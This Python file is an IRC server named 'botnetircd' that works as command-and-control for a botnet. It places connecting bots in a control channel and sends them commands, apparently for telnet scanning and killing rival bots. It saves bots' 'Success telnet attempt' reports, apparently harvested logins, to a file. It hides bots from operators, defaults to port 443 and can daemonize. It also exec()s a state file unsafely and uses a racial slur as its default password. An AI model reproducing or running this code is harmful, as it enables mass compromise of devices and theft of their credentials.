from base import BaseServer

from gevent import monkey
monkey.patch_all()

from gevent.server import StreamServer

IRCD_NAME = "botnetircd"
IRCD_VERSION = "1.1"

import gevent   
import os
import re
import select
import socket
import string
import sys
import tempfile
import time, threading
from datetime import datetime
from optparse import OptionParser

def create_directory(path):
	if not os.path.isdir(path):
		os.makedirs(path)


class IRCChannel(object):
	def __init__(self, server, name):
		self.server = server
		self.name = name
		self.members = set()
		self._topic = ""
		self._key = None
		if self.server.statedir:
			self._state_path = "%s/%s" % (
				self.server.statedir,
				name.replace("_", "__").replace("/", "_"))
			self._read_state()
		else:
			self._state_path = None

	def add_member(self, client):
		self.members.add(client)

	def get_topic(self):
		return self._topic

	def set_topic(self, value):
		self._topic = value
		self._write_state()

	topic = property(get_topic, set_topic)

	def get_key(self):
		return self._key

	def set_key(self, value):
		self._key = value
		self._write_state()

	key = property(get_key, set_key)

	def remove_client(self, client):
		self.members.discard(client)
		if not self.members:
			self.server.remove_channel(self)

	def _read_state(self):
		if not (self._state_path and os.path.exists(self._state_path)):
			return
		data = {}
		exec(open(self._state_path), {}, data)
		self._topic = data.get("topic", "")
		self._key = data.get("key")

	def _write_state(self):
		if not self._state_path:
			return
		(fd, path) = tempfile.mkstemp(dir=os.path.dirname(self._state_path))
		fp = os.fdopen(fd, "w")
		fp.write("topic = %r\n" % self.topic)
		fp.write("key = %r\n" % self.key)
		fp.close()
		os.rename(path, self._state_path)


class IRCClient(object):
	__linesep_regexp = re.compile(r"\r?\n")
	# The RFC limit for nicknames is 9 characters, but what the heck.
	__valid_nickname_regexp = re.compile(
		r"^[][\`_^{|}A-Za-z][][\`_^{|}A-Za-z0-9-]{0,50}$")
	__valid_channelname_regexp = re.compile(
		r"^[&#+!][^\x00\x07\x0a\x0d ,:]{0,50}$")

	def __init__(self, server, socket):
		self.server = server
		self.socket = socket
		self.channels = {}  # irc_lower(Channel name) --> Channel
		self.nickname = None
		self.user = None
		self.realname = None
		(self.host, self.port) = socket.getpeername()
		self.__timestamp = time.time()
		self.__readbuffer = ""
		self.__writebuffer = ""
		self.__sent_ping = False
		self.bot = True
		self.__handle_command = self.__pass_handler
		self.server.name = "ircd"

	def get_prefix(self):
		return "%s!%s@%s" % (self.nickname, self.user, self.host)
	prefix = property(get_prefix)

	def check_aliveness(self):
		now = time.time()
		if self.__timestamp + 180 < now:
			self.disconnect("ping timeout")
			return
		if not self.__sent_ping and self.__timestamp + 90 < now:
			if self.__handle_command == self.__command_handler:
				# Registered.
				self.message("PING :%s" % self.server.name)
				self.__sent_ping = True
			else:
				# Not registered.
				self.disconnect("ping timeout")

	def write_queue_size(self):
		return len(self.__writebuffer)

	def __parse_read_buffer(self):
		lines = self.__linesep_regexp.split(self.__readbuffer)
		self.__readbuffer = lines[-1]
		lines = lines[:-1]
		for line in lines:
			if not line:
				# Empty line. Ignore.
				continue
			x = line.split(" ", 1)
			command = x[0].upper()
			if len(x) == 1:
				arguments = []
			else:
				if len(x[1]) > 0 and x[1][0] == ":":
					arguments = [x[1][1:]]
				else:
					y = string.split(x[1], " :", 1)
					arguments = string.split(y[0])
					if len(y) == 2:
						arguments.append(y[1])
			self.__handle_command(command, arguments)

	def __pass_handler(self, command, arguments):
		server = self.server
		if command == "PASS":
			if len(arguments) == 0:
				self.reply_461("PASS")
			else:
				if arguments[0].lower() == self.server.password:
					self.bot = False
					self.__handle_command = self.__registration_handler
				else:
					self.reply("464 :Password incorrect")
		elif command == "QUIT":
			self.disconnect("Client quit")
			return
		elif command == "BOT":
			self.__handle_command = self.__registration_handler
			self.__registration_handler(command, arguments)

	def __registration_handler(self, command, arguments):
		server = self.server
		if command == "NICK" or command == "BOT":
			if command == "NICK" and self.bot:
				return
			if len(arguments) < 1:
				self.reply("431 :No nickname given")
				return
			nick = arguments[0]
			if server.get_client(nick):
				self.reply("433 * %s :Nickname is already in use" % nick)
			elif not self.__valid_nickname_regexp.match(nick):
				self.reply("432 * %s :Erroneous nickname" % nick)
			else:
				self.nickname = nick
				server.client_changed_nickname(self, None)
		elif command == "USER":
			if len(arguments) < 4:
				self.reply_461("USER")
				return
			self.user = arguments[0]
			self.realname = arguments[3]
		elif command == "QUIT":
			self.disconnect("Client quit")
			return
		if self.nickname and self.user:
			self.reply("001 %s :Welcome to the server, %s" % (self.nickname, self.nickname))
			if not self.bot:
				self.reply("002 %s :Your host is %s, running version %s-%s"
						   % (self.nickname, server.name, IRCD_NAME, IRCD_VERSION))
				self.reply("003 %s :This server was created sometime"
						   % self.nickname)
				self.reply("004 %s :%s %s-%s o o"
						   % (self.nickname, server.name, IRCD_NAME, IRCD_VERSION))
				self.send_lusers()
				self.send_motd()
			self.message(":%s!%s@%s JOIN :%s" % (self.nickname, self.user, self.host, self.server.botnet_channel))
			self.__command_handler("JOIN", [self.server.botnet_channel])
			if self.bot:
				self.message(":%s!server@%s PRIVMSG %s :!* KILLALL" % (IRCD_NAME, server.name, self.server.botnet_channel))
				self.message(":%s!server@%s PRIVMSG %s :!* QTELNET" % (IRCD_NAME, server.name, self.server.botnet_channel))
				self.message(":%s!server@%s PRIVMSG %s :!* KILLBOTS" % (IRCD_NAME, server.name, self.server.botnet_channel))
			self.__handle_command = self.__command_handler

	def __command_handler(self, command, arguments):
		def away_handler():
			pass

		def ison_handler():
			if len(arguments) < 1:
				self.reply_461("ISON")
				return
			nicks = arguments
			online = [n for n in nicks if server.get_client(n)]
			self.reply("303 %s :%s" % (self.nickname, " ".join(online)))

		def join_handler():
			if len(arguments) < 1:
				self.reply_461("JOIN")
				return
			if self.bot and arguments[0] != self.server.botnet_channel:
				return
			if arguments[0] == "0":
				for (channelname, channel) in self.channels.items():
					self.message_channel(channel, "PART", channelname, True)
					self.channel_log(channel, "left", meta=True)
					server.remove_member_from_channel(self, channelname)
				self.channels = {}
				return
			channelnames = arguments[0].split(",")
			if len(arguments) > 1:
				keys = arguments[1].split(",")
			else:
				keys = []
			keys.extend((len(channelnames) - len(keys)) * [None])
			for (i, channelname) in enumerate(channelnames):
				if irc_lower(channelname) in self.channels:
					continue
				if not valid_channel_re.match(channelname):
					self.reply_403(channelname)
					continue
				channel = server.get_channel(channelname)
				if channel.key is not None and channel.key != keys[i]:
					self.reply(
						"475 %s %s :Cannot join channel (+k) - bad key"
						% (self.nickname, channelname))
					continue
				channel.add_member(self)
				self.channels[irc_lower(channelname)] = channel
				self.message_channel(channel, "JOIN", channelname, True)
				self.channel_log(channel, "joined", meta=True)
				if channel.topic:
					self.reply("332 %s %s :%s"
							   % (self.nickname, channel.name, channel.topic))
				else:
					self.reply("331 %s %s :No topic is set"
							   % (self.nickname, channel.name))
				if not self.bot:
					rlnicks = []
					for x in channel.members:
						if not x.bot:
							rlnicks += ["@"+x.nickname]
					rlnicks += ["+"+IRCD_NAME]
					self.reply("353 %s = %s :%s"
							   % (self.nickname,
								  channelname,
								  " ".join(sorted(rlnicks))))
					self.reply("366 %s %s :End of NAMES list"
							   % (self.nickname, channelname))

		def list_handler():
			if len(arguments) < 1:
				channels = server.channels.values()
			else:
				channels = []
				for channelname in arguments[0].split(","):
					if server.has_channel(channelname):
						channels.append(server.get_channel(channelname))
			channels.sort(key=lambda x: x.name)
			for channel in channels:
				self.reply("322 %s %s %d :%s"
						   % (self.nickname, channel.name,
							  len(channel.members), channel.topic))
			self.reply("323 %s :End of LIST" % self.nickname)

		def lusers_handler():
			self.send_lusers()

		def mode_handler():
			if len(arguments) < 1:
				self.reply_461("MODE")
				return
			targetname = arguments[0]
			if server.has_channel(targetname):
				channel = server.get_channel(targetname)
				if len(arguments) < 2:
					if channel.key:
						modes = "+k"
						if irc_lower(channel.name) in self.channels:
							modes += " %s" % channel.key
					else:
						modes = "+"
					self.reply("324 %s %s %s"
							   % (self.nickname, targetname, modes))
					return
				flag = arguments[1]
				if flag == "+k":
					if len(arguments) < 3:
						self.reply_461("MODE")
						return
					key = arguments[2]
					if irc_lower(channel.name) in self.channels:
						channel.key = key
						self.message_channel(
							channel, "MODE", "%s +k %s" % (channel.name, key),
							True)
						self.channel_log(
							channel, "set channel key to %s" % key, meta=True)
					else:
						self.reply("442 %s :You're not on that channel"
								   % targetname)
				elif flag == "-k":
					if irc_lower(channel.name) in self.channels:
						channel.key = None
						self.message_channel(
							channel, "MODE", "%s -k" % channel.name,
							True)
						self.channel_log(
							channel, "removed channel key", meta=True)
					else:
						self.reply("442 %s :You're not on that channel"
								   % targetname)
				else:
					self.reply("472 %s %s :Unknown MODE flag"
							   % (self.nickname, flag))
			elif targetname == self.nickname:
				if len(arguments) == 1:
					self.reply("221 %s +" % self.nickname)
				else:
					self.reply("501 %s :Unknown MODE flag" % self.nickname)
			else:
				self.reply_403(targetname)

		def motd_handler():
			self.send_motd()

		def nick_handler():
			if len(arguments) < 1:
				self.reply("431 :No nickname given")
				return
			newnick = arguments[0]
			client = server.get_client(newnick)
			if newnick == self.nickname:
				pass
			elif client and client is not self:
				self.reply("433 %s %s :Nickname is already in use"
						   % (self.nickname, newnick))
			elif not self.__valid_nickname_regexp.match(newnick):
				self.reply("432 %s %s :Erroneous Nickname"
						   % (self.nickname, newnick))
			else:
				for x in self.channels.values():
					self.channel_log(
						x, "changed nickname to %s" % newnick, meta=True)
				oldnickname = self.nickname
				self.nickname = newnick
				server.client_changed_nickname(self, oldnickname)
				self.message_related(
					":%s!%s@%s NICK %s"
					% (oldnickname, self.user, self.host, self.nickname),
					True)

		def notice_and_privmsg_handler():
			if len(arguments) == 0:
				self.reply("411 %s :No recipient given (%s)"
						   % (self.nickname, command))
				return
			if len(arguments) == 1:
				self.reply("412 %s :No text to send" % self.nickname)
				return
			targetname = arguments[0]
			message = arguments[1]
			client = server.get_client(targetname)
			if message.startswith("~") and targetname == self.server.botnet_channel:
				if server.has_channel(targetname):
					channel = server.get_channel(targetname)
					server.handle_bot_commands(targetname, message, channel)
				return
			if client:
				client.message(":%s %s %s :%s"
							   % (self.prefix, command, targetname, message))
			elif server.has_channel(targetname):
				channel = server.get_channel(targetname)
				self.message_channel(
					channel, command, "%s :%s" % (channel.name, message))
				self.channel_log(channel, message)
			else:
				self.reply("401 %s %s :No such nick/channel"
						   % (self.nickname, targetname))

		def part_handler():
			if len(arguments) < 1:
				self.reply_461("PART")
				return
			if len(arguments) > 1:
				partmsg = arguments[1]
			else:
				partmsg = self.nickname
			if self.bot:
				return
			for channelname in arguments[0].split(","):
				if not valid_channel_re.match(channelname):
					self.reply_403(channelname)
				elif not irc_lower(channelname) in self.channels:
					self.reply("442 %s %s :You're not on that channel"
							   % (self.nickname, channelname))
				else:
					channel = self.channels[irc_lower(channelname)]
					self.message_channel(
						channel, "PART", "%s :%s" % (channelname, partmsg),
						True)
					self.channel_log(channel, "left (%s)" % partmsg, meta=True)
					del self.channels[irc_lower(channelname)]
					server.remove_member_from_channel(self, channelname)

		def ping_handler():
			if len(arguments) < 1:
				self.reply("409 %s :No origin specified" % self.nickname)
				return
			self.reply("PONG %s :%s" % (server.name, arguments[0]))

		def pong_handler():
			pass

		def quit_handler():
			if len(arguments) < 1:
				quitmsg = self.nickname
			else:
				quitmsg = arguments[0]
			self.disconnect(quitmsg)

		def topic_handler():
			if len(arguments) < 1:
				self.reply_461("TOPIC")
				return
			channelname = arguments[0]
			channel = self.channels.get(irc_lower(channelname))
			if channel and not self.bot:
				if len(arguments) > 1:
					newtopic = arguments[1]
					channel.topic = newtopic
					self.message_channel(
						channel, "TOPIC", "%s :%s" % (channelname, newtopic),
						True)
					self.channel_log(
						channel, "set topic to %r" % newtopic, meta=True)
				else:
					if channel.topic:
						self.reply("332 %s %s :%s"
								   % (self.nickname, channel.name,
									  channel.topic))
					else:
						self.reply("331 %s %s :No topic is set"
								   % (self.nickname, channel.name))
			else:
				self.reply("442 %s :You're not on that channel" % channelname)

		def wallops_handler():
			if len(arguments) < 1:
				self.reply_461(command)
			if self.bot:
				return
			message = arguments[0]
			for client in server.clients.values():
				client.message(":%s NOTICE %s :Global notice: %s"
							   % (self.prefix, client.nickname, message))

		def who_handler():
			if len(arguments) < 1:
				return
			targetname = self.server.botnet_channel
			if server.has_channel(targetname):
				channel = server.get_channel(targetname)
				for member in channel.members:
					if (self.bot and member.nickname == self.nickname) or (not self.bot and not member.bot):
						 self.reply("352 %s %s %s %s %s %s H :0 %s"  % (self.nickname, targetname, member.user, member.host, server.name, member.nickname,
							  member.realname))
				self.reply("315 %s %s :End of WHO list"
						   % (self.nickname, targetname))

		def whois_handler():
			if len(arguments) < 1:
				return
			username = arguments[0]
			user = server.get_client(username)
			if user and not self.bot:
				self.reply("311 %s %s %s %s * :%s"
						   % (self.nickname, user.nickname, user.user,
							  user.host, user.realname))
				self.reply("312 %s %s %s :%s"
						   % (self.nickname, user.nickname, server.name,
							  server.name))
				self.reply("319 %s %s :%s"
						   % (self.nickname, user.nickname,
							  " ".join(user.channels)))
				self.reply("318 %s %s :End of WHOIS list"
						   % (self.nickname, user.nickname))
			else:
				self.reply("401 %s %s :No such nick"
						   % (self.nickname, username))

		handler_table = {
			"AWAY": away_handler,
			"ISON": ison_handler,
			"JOIN": join_handler,
			"LIST": list_handler,
			"LUSERS": lusers_handler,
			"MODE": mode_handler,
			"MOTD": motd_handler,
			"NICK": nick_handler,
			"NOTICE": notice_and_privmsg_handler,
			"PART": part_handler,
			"PING": ping_handler,
			"PONG": pong_handler,
			"PRIVMSG": notice_and_privmsg_handler,
			"QUIT": quit_handler,
			"TOPIC": topic_handler,
			"WALLOPS": wallops_handler,
			"WHO": who_handler,
			"WHOIS": whois_handler,
		}
		bot_handler_table = {
			"PING": ping_handler,
			"PONG": pong_handler,
			"PRIVMSG": notice_and_privmsg_handler,
			"TOPIC": topic_handler,
			"JOIN": join_handler,
			"WHO": who_handler,
		}

		server = self.server
		valid_channel_re = self.__valid_channelname_regexp
		try:
			if self.bot:
				bot_handler_table[command]()
			else:
				handler_table[command]()
		except KeyError:
			self.reply("421 %s %s :Unknown command" % (self.nickname, command))

	def socket_readable_notification(self):
		try:
			data = self.socket.recv(2 ** 10)
			self.server.print_debug(
				"[%s:%d] -> %r" % (self.host, self.port, data))
			quitmsg = "EOT"
		except socket.error as x:
			data = ""
			quitmsg = x
		if data:
			self.__readbuffer += data
			self.__parse_read_buffer()
			self.__timestamp = time.time()
			self.__sent_ping = False
		else:
			self.disconnect(quitmsg)

	def socket_writable_notification(self):
		try:
			sent = self.socket.send(self.__writebuffer)
			self.server.print_debug(
				"[%s:%d] <- %r" % (
					self.host, self.port, self.__writebuffer[:sent]))
			self.__writebuffer = self.__writebuffer[sent:]
		except socket.error as x:
			self.disconnect(x)

	def disconnect(self, quitmsg):
		self.message("ERROR :%s" % quitmsg)
		self.server.print_info(
			"Disconnected connection from %s:%s (%s)." % (
				self.host, self.port, quitmsg))
		self.socket.close()
		self.server.remove_client(self, quitmsg)

	def message(self, msg):
		self.__writebuffer += msg + "\r\n"

	def reply(self, msg):
		self.message(":%s %s" % (self.server.name, msg))

	def reply_403(self, channel):
		self.reply("403 %s %s :No such channel" % (self.nickname, channel))

	def reply_461(self, command):
		nickname = self.nickname or "*"
		self.reply("461 %s %s :Not enough parameters" % (nickname, command))

	def message_channel(self, channel, command, message, include_self=False, only_users=False, diff_prefix=""):
		prefix = self.prefix
		if diff_prefix != "":
			prefix = diff_prefix
		line = ":%s %s %s" % (prefix, command, message)
		if command == "PRIVMSG" and self.bot and "Success telnet attempt" in message:
			telnets = open("telnets", "a")
			telnets.write(message.strip()+"\n")
			telnets.close()
		if "Killing" in message:
			return
		for client in channel.members:
			if client != self or include_self:
				if command == "PRIVMSG" and not self.bot and not client.bot and not ":!" in message:
					client.message(line)
					continue
				if only_users:
					if not self.bot and not client.bot:
						client.message(line)
					continue
				if command == "TOPIC" or (not self.bot and client.bot and command == "PRIVMSG" and ":!" in message) or (not self.server.mute and self.bot and not client.bot and command == "PRIVMSG"):
					client.message(line)

	def channel_log(self, channel, message, meta=False):
		if not self.server.logdir:
			return
		if meta:
			format = "[%s] * %s %s\n"
		else:
			format = "[%s] <%s> %s\n"
		timestamp = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S UTC")
		logname = channel.name.replace("_", "__").replace("/", "_")

	def message_related(self, msg, include_self=False):
		clients = set()
		if include_self:
			clients.add(self)
		for channel in self.channels.values():
			clients |= channel.members
		if not include_self:
			clients.discard(self)
		for client in clients:
			if not client.bot and not self.bot:
				client.message(msg)

	def send_lusers(self):
		botcount = 0
		usercount = 0
		for client in self.server.clients:
			client2 = self.server.clients[client]
			if client2.bot:
			   botcount += 1
			else:
			   usercount += 1
		self.reply("251 %s :There are %d users and %d bots online"
				   % (self.nickname, usercount, botcount))

	def send_motd(self):
		server = self.server
		motdlines = server.get_motd_lines()
		if motdlines:
			self.reply("375 %s :- %s Message of the day -"
					   % (self.nickname, server.name))
			for line in motdlines:
				self.reply("372 %s :- %s" % (self.nickname, line.rstrip()))
			self.reply("376 %s :End of /MOTD command" % self.nickname)
		else:
			self.reply("422 %s :MOTD File is missing" % self.nickname)


class IRCdServer(object):
	def __init__(self, ports, password, channel, ssl_pem_file, motd, verbose, debug, logdir, statedir, listen=None):
		self.ports = ports
		self.password = password
		print("pass " + password)
		self.botnet_channel = channel
		self.ssl_pem_file = ssl_pem_file
		self.motdfile = motd
		self.verbose = verbose
		self.debug = debug
		self.logdir = logdir
		self.statedir = statedir
		self.running = False

		# Find certificate after daemonization if path is relative:
		if self.ssl_pem_file and os.path.exists(self.ssl_pem_file):
			self.ssl_pem_file = os.path.abspath(self.ssl_pem_file)
		# else: might exist in the chroot jail, so just continue

		if listen:
			self.address = socket.gethostbyname(listen)
		else:
			self.address = ""
		server_name_limit = 63  # From the RFC.
		self.name = socket.getfqdn(self.address)[:server_name_limit]

		self.channels = {}  # irc_lower(Channel name) --> Channel instance.
		self.clients = {}  # Socket --> Client instance.
		self.nicknames = {}  # irc_lower(Nickname) --> Client instance.
		if self.logdir:
			create_directory(self.logdir)
		if self.statedir:
			create_directory(self.statedir)
		self.mute = False


	def handle_bot_commands(self, targetname, message, channel):
		def bot_msg(channel, message):
			for client in self.clients:
				if not client.bot:
					client.message_channel(channel, "PRIVMSG", "%s :%s" % (channel.name, message), True, only_users=True, diff_prefix="%s!services@%s" % (IRCD_NAME, self.name))
					return
		message = message[1:]

		if len(message) > 0:
			message_split = message.split(" ")

			if message_split[0].lower() == "bots":
				botcount = 0
				usercount = 0
				for client in self.clients:
					client2 = self.clients[client]
					if client2.bot:
					   botcount += 1
					else:
					   usercount += 1
				bot_msg(channel, "There are currently %d bots connected and %d users connected" % (botcount, usercount))
			elif message_split[0].lower() == "thread":
				def thread_activity(channel):
					while True:
						if self == None: return
						botcount = 0
						usercount = 0
						for client in self.clients:
							client2 = self.clients[client]
							if client2.bot:
								botcount += 1
							else:
								usercount += 1
						bot_msg(channel, "There are currently %d bots connected and %d users connected" % (botcount, usercount))
						time.sleep(5)
				threading.Thread(target=thread_activity, args=[channel]).start()
			elif message_split[0].lower() == "mute":
				self.mute = not self.mute
				bot_msg(channel, "Bot mute is now " + ("off" if not self.mute else "on"))

	def daemonize(self):
		try:
			pid = os.fork()
			if pid > 0:
				sys.exit(0)
		except OSError:
			sys.exit(1)
		os.setsid()
		try:
			pid = os.fork()
			if pid > 0:
				self.print_info("PID: %d" % pid)
				sys.exit(0)
		except OSError:
			sys.exit(1)
		os.chdir("/")
		os.umask(0)
		dev_null = open("/dev/null", "r+")
		os.dup2(dev_null.fileno(), sys.stdout.fileno())
		os.dup2(dev_null.fileno(), sys.stderr.fileno())
		os.dup2(dev_null.fileno(), sys.stdin.fileno())

	def get_client(self, nickname):
		return self.nicknames.get(irc_lower(nickname))

	def has_channel(self, name):
		return irc_lower(name) in self.channels

	def get_channel(self, channelname):
		if irc_lower(channelname) in self.channels:
			channel = self.channels[irc_lower(channelname)]
		else:
			channel = IRCChannel(self, channelname)
			self.channels[irc_lower(channelname)] = channel
		return channel

	def get_motd_lines(self):
		return [("%s-%s"%(IRCD_NAME, IRCD_VERSION)) + " is running", "AKA the best IRCd ever made :3"]

	def print_info(self, msg):
		if self.verbose:
			print(msg)
			sys.stdout.flush()

	def print_debug(self, msg):
		if self.debug:
			print(msg)
			sys.stdout.flush()

	def print_error(self, msg):
		sys.stderr.write("%s\n" % msg)

	def client_changed_nickname(self, client, oldnickname):
		if oldnickname:
			del self.nicknames[irc_lower(oldnickname)]
		self.nicknames[irc_lower(client.nickname)] = client

	def remove_member_from_channel(self, client, channelname):
		if irc_lower(channelname) in self.channels:
			channel = self.channels[irc_lower(channelname)]
			channel.remove_client(client)

	def remove_client(self, client, quitmsg):
		client.message_related(":%s QUIT :%s" % (client.prefix, quitmsg))
		for x in client.channels.values():
		#    client.channel_log(x, "quit (%s)" % quitmsg, meta=True)
			x.remove_client(client)
		if client.nickname \
				and irc_lower(client.nickname) in self.nicknames:
			del self.nicknames[irc_lower(client.nickname)]
		del self.clients[client.socket]

	def remove_channel(self, channel):
		del self.channels[irc_lower(channel.name)]

	def start(self):

		self.running = True
		def handle(conn, addr):

			if self.ssl_pem_file:
				import ssl
				try:
					conn = ssl.wrap_socket(conn, server_side=True, certfile=self.ssl_pem_file, keyfile=self.ssl_pem_file)
				except ssl.SSLError as e:
					self.print_error("SSL error for connection from %s:%s: %s" % (addr[0], addr[1], e))
					return
			try:
				self.clients[conn] = IRCClient(self, conn)
				self.print_info("Accepted connection from %s:%s." % (addr[0], addr[1]))

				while True:
					(iwtd, owtd, ewtd) = gevent.select.select([conn], [conn], [], 5)

					for x in iwtd:
						if x in self.clients:
							self.clients[x].socket_readable_notification()
					for x in owtd:
						if x in self.clients:  # client may have been disconnected
							self.clients[x].socket_writable_notification()

			except socket.error as e:
				try:
					conn.close()
				except:
					pass
		servers = []
		for port in self.ports:
			server = StreamServer((self.address, port), handle)
			server.start()
			servers += [server]
			self.print_info("Listening on port %d." % port)
		def aliveness_loop():

			last_aliveness_check = time.time()

			while self.running:
				now = time.time()
				if last_aliveness_check + 10 < now:
					for client in self.clients.values():
						client.check_aliveness()
					last_aliveness_check = now
				time.sleep(5)
		return servers, gevent.spawn(aliveness_loop)

_maketrans = str.maketrans if sys.version_info[0] == 3 else string.maketrans
_ircstring_translation = _maketrans(
	string.ascii_lowercase.upper() + "[]\\^",
	string.ascii_lowercase + "{}|~")


def irc_lower(s):
	return string.translate(s, _ircstring_translation)

def main(argv):
	op = OptionParser(
		version=IRCD_VERSION,
		description="%s is an IRC server running internally gevent patched." % IRCD_NAME)
	op.add_option(
		"--debug",
		action="store_true",
		help="print debug messages to stdout")
	op.add_option(
		"--listen",
		metavar="X",
		help="listen on specific IP address X")
	op.add_option(
		"--logdir",
		metavar="X",
		help="store channel log in directory X")
	op.add_option(
		"--motd",
		metavar="X",
		help="display file X as message of the day")
	op.add_option(
		"-s", "--ssl-pem-file",
		metavar="FILE",
		help="enable SSL and use FILE as the .pem certificate+key")
	op.add_option(
		"-p", "--password",
		metavar="X",
		help="require connection password X; default: no password", default="niggers1")
	op.add_option(
		"-c", "--channel",
		metavar="X",
		help="default botnet channel X; default: #test", default="#test")
	op.add_option(
		"--ports",
		metavar="X",
		help="listen to ports X (a list separated by comma or whitespace);"
			 " default: 443", default="443")
	op.add_option(
		"--statedir",
		metavar="X",
		help="save persistent channel state (topic, key) in directory X")
	op.add_option(
		"--verbose",
		action="store_true",
		help="be verbose (print some progress messages to stdout)")

	(options, args) = op.parse_args(argv[1:])

	print("Welcome to %s, join %s to begin" % (IRCD_NAME, options.channel))
	print("Server password is %s and port is %d" % (options.password, int(options.ports)))
	print("")
	if options.debug:
		options.verbose = True
	ports = []
	for port in re.split(r"[,\s]+", options.ports):
		try:
			ports.append(int(port))
		except ValueError:
			op.error("bad port: %r" % port)
	options.ports = ports

	server = IRCdServer(options.ports, options.password, options.channel,
		options.ssl_pem_file, options.motd, options.verbose,
		options.debug, options.logdir, options.statedir, options.listen)

	try:
		servers, g = server.start()

		if g != None:
			while g:
				time.sleep(5)
		else:
			server.print_error("Error initializing server")
	except KeyboardInterrupt:
		server.print_error("Interrupted.")

class IRCServer(BaseServer):

	def __init__(self, parent):
		BaseServer.__init__(self, parent)

	def start(self, port, args):
		password = "niggers1"
		channel = "#test"
		listen = ""
		argc = len(args)

		if argc >= 1:
			password = args[0]
		if argc >= 2:
			channel = args[1]
		if argc >= 3:
			listen = args[2]

		server = IRCdServer([port], password, channel,
						None, None, False,
						False, None, None, listen)
		return server, server.start()

	def usage(self):
		return "<password> <channel> <listen ip>"

	def default_port(self):
		return 443

	def default_args(self):
		return "niggers1 #test 0.0.0.0"

if __name__ == '__main__':
	main(sys.argv)

